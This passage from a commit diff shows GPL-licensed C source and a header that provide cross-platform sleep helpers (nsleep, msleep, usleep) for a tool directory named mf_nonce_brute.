// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||
// the license.
|
||||
//-----------------------------------------------------------------------------
|
||||
// platform-independant sleep macros
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
#ifndef _WIN32
|
||||
|
||||
#define _POSIX_C_SOURCE 199309L
|
||||
#include "sleep.h"
|
||||
#include <time.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/time.h>
|
||||
#include <errno.h>
|
||||
|
||||
void nsleep(uint64_t n) {
|
||||
struct timespec timeout;
|
||||
timeout.tv_sec = n / 1000000000;
|
||||
timeout.tv_nsec = n % 1000000000;
|
||||
while (nanosleep(&timeout, &timeout) && errno == EINTR);
|
||||
}
|
||||
|
||||
#endif // _WIN32
|
||||
|
27
tools/mf_nonce_brute/sleep.h
Normal file
27
tools/mf_nonce_brute/sleep.h
Normal file
|
@ -0,0 +1,27 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// Copyright (C) 2010 iZsh <izsh at fail0verflow.com>
|
||||
//
|
||||
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||
// the license.
|
||||
//-----------------------------------------------------------------------------
|
||||
// platform-independant sleep macros
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
#ifndef SLEEP_H__
|
||||
#define SLEEP_H__
|
||||
|
||||
#ifdef _WIN32
|
||||
# include <windows.h>
|
||||
# define sleep(n) Sleep(1000 * n)
|
||||
# define msleep(n) Sleep(n)
|
||||
#else
|
||||
# include <inttypes.h>
|
||||
# include <unistd.h>
|
||||
void nsleep(uint64_t n);
|
||||
# define msleep(n) nsleep(1000000 * n)
|
||||
# define usleep(n) nsleep(1000 * n)
|
||||
#endif // _WIN32
|
||||
|
||||
#endif // SLEEP_H__
|
||||
|
Loading…
Reference in a new issue